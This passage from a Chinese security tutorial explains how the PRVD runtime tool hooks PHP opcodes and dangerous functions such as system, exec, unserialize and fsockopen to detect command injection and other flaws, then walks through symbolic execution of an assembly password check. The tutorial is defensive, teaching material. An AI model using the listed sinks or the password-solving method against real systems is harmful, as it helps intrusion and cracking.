的执行回调函数,达到Hook Opcode 的执行;2.重命名原函数名,然后再自定义同名函数达到Hook .先来看看prvd 的PHP.ini 文件,配置数据如下:\n\n```txt\n\nauto_prepend_file = \"/data/prvd/src/Entry.php\"   #  导入prvd 的Entry.php ,这是为了给输入打污染标签.\n\n[xmark]  #  导入XMARK hook 框架\nxmark.enable = 1\nxmark.rename_enable = 0\nxmark.rename_classes = \"  #  重命名类名称\n    SQLite3:prvd_SQLite3,\n    mysqli:prvd_mysqli,\n    PDO:prvd_PDO,\n\"\nxmark.rename_functions = \"  #  重命名函数列表\n    base64_decode:prvd_base64_decode,\n    basename:prvd_basename,\n    dirname:prvd_dirname,\n    explode:prvd_explode,\n    gzuncompress:prvd_gzuncompress,\n    hex2bin:prvd_hex2bin,\n    html_entity_decode:prvd_html_entity_decode,\n    htmlspecialchars_decode:prvd_htmlspecialchars_decode,\n    implode:prvd_implode,\n    join:prvd_join,\n    json_decode:prvd_json_decode,\n    ltrim:prvd_ltrim,\n    pathinfo:prvd_pathinfo,\n    rawurldecode:prvd_rawurldecode,\n    rawurlencode:prvd_rawurlencode,\n    rtrim:prvd_rtrim,\n    sprintf:prvd_sprintf,\n    str_ireplace:prvd_str_ireplace,\n    str_pad:prvd_str_pad,\n    str_replace:prvd_str_replace,\n    strstr:prvd_strstr,\n    strtolower:prvd_strtolower,\n    strtoupper:prvd_strtoupper,\n    substr:prvd_substr,\n    trim:prvd_trim,\n    urldecode:prvd_urldecode,\n    urlencode:prvd_urlencode,\n    vsprintf:prvd_vsprintf,\n    exec:prvd_exec,\n    passthru:prvd_passthru,\n    popen:prvd_popen,\n    proc_open:prvd_proc_open,\n    shell_exec:prvd_shell_exec,\n    system:prvd_system,\n    unserialize:prvd_unserialize,\n    copy:prvd_copy,\n    dir:prvd_dir,\n    file:prvd_file,\n    file_get_contents:prvd_file_get_contents,\n    file_put_contents:prvd_file_put_contents,\n    fopen:prvd_fopen,\n    glob:prvd_glob,\n    highlight_file:prvd_highlight_file,\n    link:prvd_link,\n    move_uploaded_file:prvd_move_uploaded_file,\n    opendir:prvd_opendir,\n    readfile:prvd_readfile,\n    rename:prvd_rename,\n    rmdir:prvd_rmdir,\n    scandir:prvd_scandir,\n    show_source:prvd_show_source,\n    unlink:prvd_unlink,\n    mysqli_init:prvd_mysqli_init,\n    mysqli_multi_query:prvd_mysqli_multi_query,\n    mysqli_query:prvd_mysqli_query,\n    mysqli_prepare:prvd_mysqli_prepare,\n    mysqli_real_query:prvd_mysqli_real_query,\n    pg_prepare:prvd_pg_prepare,\n    pg_query:prvd_pg_query,\n    pg_query_params:prvd_pg_query_params,\n    pg_send_prepare:prvd_pg_send_prepare,\n    pg_send_query:prvd_pg_send_query,\n    pg_send_query_params:prvd_pg_send_query_params,\n    curl_exec:prvd_curl_exec,\n    fsockopen:prvd_fsockopen,\n    get_headers:prvd_get_headers,\n    print_r:prvd_print_r,\n    printf:prvd_printf,\n    vprintf:prvd_vprintf\n\"\n\n```\n\n  xmark 的初始化函数主要是读取配置文件内的数据并初始化内部变量.\n\n```c\n\nPHP_INI_BEGIN()\n  STD_PHP_INI_BOOLEAN(\"xmark.enable\", \"0\", PHP_INI_SYSTEM, OnUpdateBool, enable, zend_xmark_globals, xmark_globals)\n  STD_PHP_INI_BOOLEAN(\"xmark.enable_rename\", \"0\", PHP_INI_SYSTEM, OnUpdateBool, enable_rename, zend_xmark_globals, xmark_globals)\n  STD_PHP_INI_ENTRY(\"xmark.rename_functions\", \"\", PHP_INI_SYSTEM, OnUpdateString, rename_functions, zend_xmark_globals, xmark_globals)  //  从配置文件中的rename_functions 字段读取数据到rename_functions 变量\n  STD_PHP_INI_ENTRY(\"xmark.rename_classes\", \"\", PHP_INI_SYSTEM, OnUpdateString, rename_classes, zend_xmark_globals, xmark_globals)\nPHP_INI_END()\n\n// 省略无关代码\n\nPHP_MINIT_FUNCTION(xmark)\n{\n    // ...\n\n    REGISTER_LONG_CONSTANT(\"XMARK_ECHO\", ZEND_ECHO, CONST_CS|CONST_PERSISTENT);  //  设置常量值..\n    REGISTER_LONG_CONSTANT(\"XMARK_EXIT\", ZEND_EXIT, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_INIT_METHOD_CALL\", ZEND_INIT_METHOD_CALL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_INIT_USER_CALL\", ZEND_INIT_USER_CALL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_INIT_DYNAMIC_CALL\", ZEND_INIT_DYNAMIC_CALL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_INCLUDE_OR_EVAL\", ZEND_INCLUDE_OR_EVAL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_CONCAT\", ZEND_CONCAT, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_FAST_CONCAT\", ZEND_FAST_CONCAT, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_ASSIGN_CONCAT\", ZEND_ASSIGN_CONCAT, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_ROPE_END\", ZEND_ROPE_END, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_DO_FCALL\", ZEND_DO_FCALL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_DO_ICALL\", ZEND_DO_ICALL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_DO_UCALL\", ZEND_DO_UCALL, CONST_CS|CONST_PERSISTENT);\n    REGISTER_LONG_CONSTANT(\"XMARK_DO_FCALL_BY_NAME\", ZEND_DO_FCALL_BY_NAME, CONST_CS|CONST_PERSISTENT);\n\n    php_xmark_register_opcode_handlers();  //  设置Hook Opcode 回调函数\n    rename_from_ini_value(CG(function_table), XMARK_G(rename_functions), XMARK_IS_FUNCTION);  //  function_table 和class_table 是PHP 内核的表,rename_from_ini_value 就是根据ini 文件的规则来重命名它们.\n    rename_from_ini_value(CG(class_table), XMARK_G(rename_classes), XMARK_IS_CLASS);\n\n    return SUCCESS;\n}\n\nstatic void php_xmark_register_opcode_handlers()\n{\n    zend_set_user_opcode_handler(ZEND_ECHO, php_xmark_op1_handler);  //  设置Opcode 回调函数..\n    zend_set_user_opcode_handler(ZEND_EXIT, php_xmark_op1_handler);\n    zend_set_user_opcode_handler(ZEND_INIT_METHOD_CALL, php_xmark_op2_handler);\n    zend_set_user_opcode_handler(ZEND_INIT_USER_CALL, php_xmark_op2_handler);\n    zend_set_user_opcode_handler(ZEND_INIT_DYNAMIC_CALL, php_xmark_op2_handler);\n    zend_set_user_opcode_handler(ZEND_INCLUDE_OR_EVAL, php_xmark_op1_handler);\n    zend_set_user_opcode_handler(ZEND_CONCAT, php_xmark_concat_handler);\n    zend_set_user_opcode_handler(ZEND_FAST_CONCAT, php_xmark_concat_handler);\n    zend_set_user_opcode_handler(ZEND_ASSIGN_CONCAT, php_xmark_assign_concat_handler);\n    zend_set_user_opcode_handler(ZEND_ROPE_END, php_xmark_rope_end_handler);\n    zend_set_user_opcode_handler(ZEND_DO_FCALL, php_xmark_fcall_handler);\n    zend_set_user_opcode_handler(ZEND_DO_ICALL, php_xmark_fcall_handler);\n    zend_set_user_opcode_handler(ZEND_DO_UCALL, php_xmark_fcall_handler);\n    zend_set_user_opcode_handler(ZEND_DO_FCALL_BY_NAME, php_xmark_fcall_handler);\n\n    if (XMARK_G(enable_rename))\n        zend_set_user_opcode_handler(ZEND_INIT_FCALL, php_xmark_init_fcall);\n}\n\n//  这个函数由PHP 内核声明的.https://github.com/php/php-src/blob/852485d8ecd784153e41e565a0a87abf99cf4e0d/Zend/zend_execute.c#L4294\n\nZEND_API int zend_set_user_opcode_handler(zend_uchar opcode, user_opcode_handler_t handler)  //  设置Opcode 回调函数\n{\n  if (opcode != ZEND_USER_OPCODE) {\n    if (handler == NULL) {\n      /* restore the original handler */\n      zend_user_opcodes[opcode] = opcode;\n    } else {\n      zend_user_opcodes[opcode] = ZEND_USER_OPCODE;\n    }\n    zend_user_opcode_handlers[opcode] = handler;\n    return SUCCESS;\n  }\n  return FAILURE;\n}\n\n```\n\n  定位到`php_xmark_op1_handler()` 的代码,这个函数是处理对Opcode 的第一个操作参数进行处理的回调函数.实现细节如下:\n\n```c\n\nstatic int php_xmark_op1_handler(zend_execute_data *execute_data) {\n    //  zend_execute_data 结构表示当前执行上下文环境,保存了代码执行位置和局部变量等数据.\n    const zend_op *opline = execute_data->opline;  //  获取当前执行的Opcode\n    zend_free_op free_op1;\n    zval *op1;\n    zval *z_fname;\n    zval call_func_ret;\n\n    if (XMARK_G(in_callback)) {  //  Opcode 调用过程中可能会触发多次回调函数被调用,这个标志就是识别是否多次重复被调用了.\n        return ZEND_USER_OPCODE_DISPATCH;\n    }\n\n    z_fname = zend_hash_index_find(&XMARK_G(callbacks), opline->opcode);  //  用户自定义Hook Opcode 回调\n    if (!z_fname) {\n        return ZEND_USER_OPCODE_DISPATCH;\n    }\n\n    XMARK_G(in_callback) = 1;  //  设置重复调用标记\n\n    op1 = php_xmark_get_zval_ptr(execute_data, opline->op1_type, opline->op1, &free_op1, BP_VAR_R, 0);  //  获取第一个Opcode 操作数\n\n    if (op1) {\n        if (SUCCESS != call_user_function(EG(function_table), NULL, z_fname, &call_func_ret, 1, op1)) {\n            zend_error(E_WARNING, \"call function error\");\n        }\n\n        zval_ptr_dtor_nogc(&call_func_ret);\n    }\n\n    XMARK_G(in_callback) = 0;\n    return ZEND_USER_OPCODE_DISPATCH;\n}\n\n```\n\n  关于xmark 就介绍到此,然后我们再跟踪prvd 的Entry.php 文件,\n\n```php\n\n<?php\n\nif (!extension_loaded('xmark')) {\n    trigger_error(\"xmark not installed\", E_USER_WARNING);\n    return;\n}\n\n// 省略代码\n\nrequire(PRVD_ABSPATH.\"Config.php\");  // 引入Config.php\nrequire(PRVD_ABSPATH.\"Utils.php\");   // 引入Utils.php\n\n// mark 输入变量\nprvd_xmark($_GET, true);  // 给输入点打标签\nprvd_xmark($_POST, true);\nprvd_xmark($_COOKIE, true);\nprvd_xmark($_FILES, true);\nprvd_xmark($_REQUEST, true);\n\nforeach ($_SERVER as $key => &$value) {\n    if (stripos($key, 'HTTP_') === 0) {\n        prvd_xmark($value);\n    }\n}\n\n// 1. 加载 sink\nprvd_load_file(PRVD_ABSPATH.\"sink/*/*.php\");  // 这些目录下的都是规则命名文件.\n// 2. 加载 filter\nprvd_load_file(PRVD_ABSPATH.\"filter/*.php\");\n// 3. 加载 opcode\nprvd_load_opcode(PRVD_ABSPATH.\"opcode/*.php\");\n\n```\n\n  `prvd_xmark()` 函数则是调用xmark 拓展里面的函数给变量打标记.\n\n```php\n\nfunction prvd_xmark(&$var, $recursive=true) {\n    if (!PRVD_TAINT_ENABLE) return;\n    if (is_string($var)) {\n        xmark($var);\n    } elseif (is_array($var) && $recursive) {\n        foreach ($var as $key => &$value) {\n            prvd_xmark($value, $recursive);\n        }\n    }\n}\n\n```\n\n  回到xmark.c 找到xmark() 函数声明,可以发现是通过给PHP 变量数据结构类型中的`type_info` 字段中做了标签记录(IS_XMARK_FLAG),这只适用于string 类型的PHP 变量.\n\n```c\n\n//  https://github.com/fate0/xmark/blob/34dd79d3e38dfb7f22c67eaedaa540a4cd88aee6/xmark.c#L1291\n\nPHP_FUNCTION(xmark)  //  xmark.dll 导出函数\n{\n    zval *z_str;\n\n    if (!XMARK_G(enable)) {\n        RETURN_FALSE;\n    }\n\n    if (zend_parse_parameters(ZEND_NUM_ARGS(), \"z\", &z_str) == FAILURE) {\n        return;\n    }\n\n    ZVAL_DEREF(z_str);\n    if (IS_STRING != Z_TYPE_P(z_str) || Z_STRLEN_P(z_str) == 0) {  //  只给String 类型的变量打标记\n        RETURN_FALSE;\n    }\n\n    if (xmark_zstr(z_str) == FAILURE) {\n        RETURN_FALSE;\n    }\n\n    RETURN_TRUE;\n}\n\n//  https://github.com/fate0/xmark/blob/34dd79d3e38dfb7f22c67eaedaa540a4cd88aee6/xmark.c#L1124\n\nstatic zend_always_inline int xmark_zstr(zval *z_str)  //  给变量打标记\n{\n    if (!XCHECK_FLAG(Z_STR_P(z_str))) {\n        zend_string *str = zend_string_init(Z_STRVAL_P(z_str), Z_STRLEN_P(z_str), 0);  //  创建新字符串对象\n        ZSTR_LEN(str) = Z_STRLEN_P(z_str);\n        zend_string_release(Z_STR_P(z_str));\n        XMARK_FLAG(str);\n        ZVAL_STR(z_str, str);\n    }\n\n    return SUCCESS;\n}\n\n//  https://github.com/fate0/xmark/blob/34dd79d3e38dfb7f22c67eaedaa540a4cd88aee6/php_xmark.h#L41\n\n#if PHP_VERSION_ID < 70300\n#   define IS_XMARK_FLAG            (1<<6)\n#   define XMARK_FLAG(str)          (GC_FLAGS((str)) |= IS_XMARK_FLAG)\n#   define XCLEAR_FLAG(str)         (GC_FLAGS((str)) &= ~IS_XMARK_FLAG)\n#   define XCHECK_FLAG(str)         (GC_FLAGS((str)) & IS_XMARK_FLAG)\n#else\n#   define EX_CONSTANT(op)          RT_CONSTANT(EX(opline), op)\n#   define IS_XMARK_FLAG            (1<<5)\n#   define XMARK_FLAG(str)          GC_ADD_FLAGS(str, IS_XMARK_FLAG)\n#   define XCLEAR_FLAG(str)         GC_DEL_FLAGS(str, IS_XMARK_FLAG)\n#   define XCHECK_FLAG(str)         (GC_FLAGS((str)) & IS_XMARK_FLAG)\n#endif\n\n//  https://github.com/php/php-src/blob/c4e4ef0498f691788e30e4cdfae3c3aa9dd3b1f1/Zend/zend_types.h#L516\n\nstatic zend_always_inline uint32_t zval_gc_flags(uint32_t gc_type_info) {\n  return (gc_type_info >> GC_FLAGS_SHIFT) & (GC_FLAGS_MASK >> GC_FLAGS_SHIFT);\n}\n\n#define GC_TYPE_INFO(p)     (p)->gc.u.type_info\n#define GC_FLAGS(p)         zval_gc_flags(GC_TYPE_INFO(p))\n\n```\n\n  Entry.php 最后一部分就是引入检测规则,因为前面已经使用xmark 重命名了这些变量,那么接下来就需要以这些被重命名的函数进行重新声明,达到hook 的目的.\n\n```php\n\n// 1. 加载 sink\nprvd_load_file(PRVD_ABSPATH.\"sink/*/*.php\");  //  敏感函数\n// 2. 加载 filter\nprvd_load_file(PRVD_ABSPATH.\"filter/*.php\");  //  过滤函数\n// 3. 加载 opcode\nprvd_load_opcode(PRVD_ABSPATH.\"opcode/*.php\");  //  敏感Opcode\n\n```\n\n  `prvd_load_file()` 函数接下来不断把目录里面的规则文件require 进来.\n\n```php\n\nfunction prvd_load_file($pattern) {  //  加载策略文件函数\n    $glob = prvd_get_function(\"glob\");\n    $ksort = prvd_get_function(\"ksort\");\n    $basename = prvd_get_function(\"basename\");\n    $file_list = $glob($pattern);\n    $result_list = array();\n    foreach ($file_list as $absfilename) {\n        if (in_array($basename($absfilename), $result_list)) {\n            prvd_log(\"error: function \".$basename($absfilename).\" already exists in \".$file_list[$basename($absfilename)]);\n            continue;\n        }\n        $result_list[$basename($absfilename)] = $absfilename;\n    }\n    $ksort($result_list);\n    foreach ($result_list as $filename => $absfilename) {\n        $funcname = preg_replace(\"/\\d{3}\\-/\", \"\", $filename);\n        $funcname = preg_replace(\"/.php$/\", \"\", $funcname);\n        if (!function_exists(PRVD_RENAME_PREFIX.$funcname) && !class_exists(PRVD_RENAME_PREFIX.$funcname)) {\n            prvd_log(\"error: function/class \".PRVD_RENAME_PREFIX.$funcname.\" not exists\");\n            continue;\n        }\n        if (function_exists($funcname) || class_exists($funcname)) {\n            prvd_log(\"error: function/class \".$funcname.\" already exists\");\n            continue;\n        }\n        require($absfilename);\n    }\n}\n\n```\n\n  我们以`src/sink/rce/001-system.php` 举个例子,最后在重命名的`system()` 函数里面插入对函数参数的数据检测代码.\n\n```php\n\n<?php\nfunction system($command, &$return_var = null) {\n    prvd_check_rce($command, prvd_translate(\"Remote Command Execute\"));\n    return call_user_func_array(PRVD_RENAME_PREFIX.\"system\", array($command, &$return_var));\n}\n\n```\n\n  漏洞检测方法如下:\n\n```php\n\n/**\n * 检测是否存在命令注入\n * @param $command\n * @param $message\n */\nfunction prvd_check_rce(&$command, $message) {\n    global $prvd_sentry_client;\n    if (!$prvd_sentry_client) return;\n    if (prvd_detect_cmd_injection($command)) {\n        $prvd_sentry_client->captureVuln($message);\n    } else if (PRVD_TAINT_ENABLE && prvd_xcheck($command)) {\n        $prvd_sentry_client->captureVuln($message, \"debug\");\n    }\n}\n\n/**\n * 检测 CMD 语句是否异常\n * @param $cmd_string\n * @return bool\n */\nfunction prvd_detect_cmd_injection($cmd_string) {\n    // TODO: 目前只考虑了逃脱引号的情况，在双引号内的情况暂未支持\n    $strlen = prvd_get_function('strlen');\n    $stripos = prvd_get_function('stripos');\n    $substr = prvd_get_function('substr');\n    $in_array = prvd_get_function('in_array');\n    $cur_pos = 0;\n    $cmd_string_len = $strlen($cmd_string);\n    while ($cur_pos < $cmd_string_len) {\n        while ($stripos(PRVD_WHITESPACE, $substr($cmd_string, $cur_pos, 1)) !== FALSE) $cur_pos++;\n        if ($stripos('\\'\"', $substr($cmd_string, $cur_pos, 1)) !== FALSE) {\n            // handle literal\n            $quote = $substr($cmd_string, $cur_pos, 1);\n            $cur_pos ++;\n            while ($cur_pos < $cmd_string_len) {\n                if ($quote === $substr($cmd_string, $cur_pos, 1))\n                    break;\n                elseif ($in_array($substr($cmd_string, $cur_pos, 2), array('\\\\\\\\', '\\\\\\'', '\\\\\"')))\n                    $cur_pos += 1;\n                $cur_pos ++;\n            }\n            // broken cmd statement\n            if ($cur_pos == $cmd_string_len) return TRUE;\n            $cur_pos ++;\n        } elseif ($stripos(PRVD_KEYWORD_ALLOW_CHARS, $substr($cmd_string, $cur_pos, 1)) === FALSE) {\n            // handle op\n            $cur_pos ++;\n        } else {\n            // handle keyword\n            $keyword_start = $cur_pos;\n            while ($cur_pos < $cmd_string_len) {\n                if ($stripos(PRVD_KEYWORD_ALLOW_CHARS, $substr($cmd_string, $cur_pos, 1)) === FALSE) break;\n                $cur_pos ++;\n            }\n            if ($stripos($substr($cmd_string, $keyword_start, $cur_pos-$keyword_start),  PRVD_TANZI) !== FALSE)\n                return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n```\n\n  关于Prvd 的污点追踪原理就介绍到此了,如有兴趣可以更深入去了解(Link : http://blog.fatezero.org/2018/11/11/prvd/ ).在部署好Prvd 之后,启用payload 模式,此时Prvd 会在$_GET $_POST 等中的数据插入一些攻击Payload ,然后由规则来匹配是否存在漏洞.对于这个步骤,测试者是不需要对HTTP 数据包(URL 中的输入位置,HTTP body ,HTTP Cookie )进行Payload 插入测试,测试者只需要根据页面进行常见的功能测试方法,然后Prvd 就会自行插入数据并且检测,这个也就是IAST (交互式安全测试)的原理.\n\n\n## 符号执行\n\n  符号执行是指把程序的语义抽象变成逻辑公式或代码路径公式,通过对这条公式进行求解并得出符合的条件.第六章的综合分析中提到,当我们在检测可控的输入是否能够通过某些特定的判断语句达到触发点,需要满足哪些条件并进行求解,这是静态符号执行.动态符号执行的原理是跟踪程序的执行,在某些特定的判断和数据运算的过程中可以知道具体的内容值(在静态符号执行中有时候不容易获取某一行代码或者汇编的值,所以需要跟踪到此获得该值,而且静态符号执行在对非常多的条件进行求解的时候会产生路径爆炸的问题,又需要考虑条件优化)然后构建逻辑公式进行路径/数据求解.我们先研究这段代码:\n\n```assembly\n\nmov eax, 1\nadd eax, 2\nmov ebx, eax\n\n```\n\n  对应到寄存器布局如下:\n\n```txt\n\nEAX : -1\nEBX : -1\nECX : -1\n\n```\n\n  然后我们模拟执行这段汇编代码并填写寄存器布局,过程如下:\n\n```txt\n\n(Round 1)\n\nCode :\n\nmov eax, 1     <- Point\nadd eax, 2\nmov ebx, eax\n\nSymbolic Expression :\n\np0 = 1\n\nRegister Reference Table :\n\nEAX : p0\nEBX : -1\nECX : -1\n\n----\n\n(Round 2)\n\nCode :\n\nmov eax, 1\nadd eax, 2     <- Point\nmov ebx, eax\n\nSymbolic Expression :\n\np0 = 1\np1 = add(p0,2)\n\nRegister Reference Table :\n\nEAX : p1\nEBX : -1\nECX : -1\n\n----\n\n(Round 3)\n\nCode :\n\nmov eax, 1\nadd eax, 2\nmov ebx, eax   <- Point\n\nSymbolic Expression :\n\np0 = 1\np1 = add(p0,2)\np2 = p1\n\nRegister Reference Table :\n\nEAX : p1\nEBX : p2\nECX : -1\n\n```\n\n  然后我们要求解EBX 寄存器的值,只需要把公式组装即可:\n\n```txt\n\nEBX = p2 , p2 = p1 = add(p0,2) = add(1,2) = 3\n\n```\n\n  我们举一个对内存数据进行运算的例子\n\n```c\n\nchar *serial = \"\\x31\\x3e\\x3d\\x26\\x31\";\n\nint check_password(char *ptr)\n{\n  int i = 0;\n  while (i < 5){\n    if (((ptr[i] - 1) ^ 0x55) != serial[i])\n      return 1; /* bad password */\n    i++;\n  }\n  return 0; /* good password */\n}\n\n```\n\n  对应的汇编如下:\n\n```assembly\n\n__text:0000000100000F20                 public _check_password\n__text:0000000100000F20 _check_password proc near\n__text:0000000100000F20\n__text:0000000100000F20 var_14          = dword ptr -14h\n__text:0000000100000F20 var_10          = qword ptr -10h\n__text:0000000100000F20 var_4           = dword ptr -4\n__text:0000000100000F20\n__text:0000000100000F20                 push    rbp\n__text:0000000100000F21                 mov     rbp, rsp\n__text:0000000100000F24                 mov     [rbp+var_10], rdi\n__text:0000000100000F28                 mov     [rbp+var_14], 0\n__text:0000000100000F2F\n__text:0000000100000F2F loc_100000F2F:                          ; CODE XREF: _check_password+57↓j\n__text:0000000100000F2F                 cmp     [rbp+var_14], 5\n__text:0000000100000F33                 jge     loc_100000F7C\n__text:0000000100000F39                 mov     rax, [rbp+var_10]\n__text:0000000100000F3D                 movsxd  rcx, [rbp+var_14]\n__text:0000000100000F41                 movsx   edx, byte ptr [rax+rcx]\n__text:0000000100000F45                 sub     edx, 1\n__text:0000000100000F48                 xor     edx, 55h\n__text:0000000100000F4B                 mov     rax, cs:_serial\n__text:0000000100000F52                 movsxd  rcx, [rbp+var_14]\n__text:0000000100000F56                 movsx   esi, byte ptr [rax+rcx]\n__text:0000000100000F5A                 cmp     edx, esi\n__text:0000000100000F5C                 jz      loc_100000F6E\n__text:0000000100000F62                 mov     [rbp+var_4], 1\n__text:0000000100000F69                 jmp     loc_100000F83\n__text:0000000100000F6E ; ---------------------------------------------------------------------------\n__text:0000000100000F6E\n__text:0000000100000F6E loc_100000F6E:                          ; CODE XREF: _check_password+3C↑j\n__text:0000000100000F6E                 mov     eax, [rbp+var_14]\n__text:0000000100000F71                 add     eax, 1\n__text:0000000100000F74                 mov     [rbp+var_14], eax\n__text:0000000100000F77                 jmp     loc_100000F2F\n__text:0000000100000F7C ; ---------------------------------------------------------------------------\n__text:0000000100000F7C\n__text:0000000100000F7C loc_100000F7C:                          ; CODE XREF: _check_password+13↑j\n__text:0000000100000F7C                 mov     [rbp+var_4], 0\n__text:0000000100000F83\n__text:0000000100000F83 loc_100000F83:                          ; CODE XREF: _check_password+49↑j\n__text:0000000100000F83                 mov     eax, [rbp+var_4]\n__text:0000000100000F86                 pop     rbp\n__text:0000000100000F87                 retn\n\n```\n\n  我们知道,`_check_password()` 的字符串地址参数保存在rdi 寄存器中,然后`mov rax, [rbp+var_10]`和`movsx edx, byte ptr [rax+rcx]` 两句汇编从字符串缓冲区中读取字符出来,在`xor edx, 55h` 进行异或运算,最后使用`cmp edx, esi` 和程序中内置的字符串进行字符值判断,`jz loc_100000F6E` 的意思是如果两值不相等那就跳转到地址0x100000F83 ,不相等就执行到0x100000F6E 的jmp 指令跳转到0x100000F2F 处(这是for 循环结构).`_check_password()` 在校验异或过后的字符失败就会返回1 ,成功则返回0 .\n\n  理解这段汇编代码之后,我们就对代码进行一步一步的符号执行分析.我们先抽出最核心的运算代码:\n\n```assembly\n\n__text:0000000100000F39                 mov     rax, [rbp+var_10]\n__text:0000000100000F3D                 movsxd  rcx, [rbp+var_14]\n__text:0000000100000F41                 movsx   edx, byte ptr [rax+rcx]\n__text:0000000100000F45                 sub     edx, 1\n__text:0000000100000F48                 xor     edx, 55h\n__text:0000000100000F4B                 mov     rax, cs:_serial\n__text:0000000100000F52                 movsxd  rcx, [rbp+var_14]\n__text:0000000100000F56                 movsx   esi, byte ptr [rax+rcx]\n__text:0000000100000F5A                 cmp     edx, esi\n\n```\n\n  然后对这段代码进行寄存器布局.\n\n```txt\n\n(Round 1)\n\nCode :\n\nmov     rax, [rbp+var_10]         <- Point\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\n\nRegister Reference Table :\n\nRAX : p0\nRBX : -1\nRCX : -1\nRDX : -1\nRSI : -1\nRDI : -1\n\n----\n\n(Round 2)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]         <- Point\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\n\nRegister Reference Table :\n\nRAX : p0\nRBX : -1\nRCX : p1\nRDX : -1\nRSI : -1\nRDI : -1\n\n----\n\n(Round 3)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]   <- Point\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\n\nRegister Reference Table :\n\nRAX : p0\nRBX : -1\nRCX : p1\nRDX : p2\nRSI : -1\nRDI : -1\n\n----\n\n(Round 4)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1                    <- Point\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\n\nRegister Reference Table :\n\nRAX : p0\nRBX : -1\nRCX : p1\nRDX : p3\nRSI : -1\nRDI : -1\n\n----\n\n(Round 5)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h                  <- Point\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\np4 = xor(p3,0x55)\n\nRegister Reference Table :\n\nRAX : p0\nRBX : -1\nRCX : p1\nRDX : p4\nRSI : -1\nRDI : -1\n\n----\n\n(Round 6)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial           <- Point\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\np4 = xor(p3,0x55)\np5 = _serial\n\nRegister Reference Table :\n\nRAX : p5\nRBX : -1\nRCX : p1\nRDX : p4\nRSI : -1\nRDI : -1\n\n----\n\n(Round 7)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]         <- Point\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\np4 = xor(p3,0x55)\np5 = _serial\np6 = var_14\n\nRegister Reference Table :\n\nRAX : p5\nRBX : -1\nRCX : p6\nRDX : p4\nRSI : -1\nRDI : -1\n\n----\n\n(Round 8)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]   <- Point\ncmp     edx, esi\n\nSymbolic Expression :\n\np0 = var_10\np1 = var_14\np2 = *(add(p0,p1)) (control)\np3 = sub(p2,1)\np4 = xor(p3,0x55)\np5 = _serial\np6 = var_14\np7 = *(add(p5,p6))\n\nRegister Reference Table :\n\nRAX : p5\nRBX : -1\nRCX : p6\nRDX : p4\nRSI : p7\nRDI : -1\n\n----\n\n(Round 9)\n\nCode :\n\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte 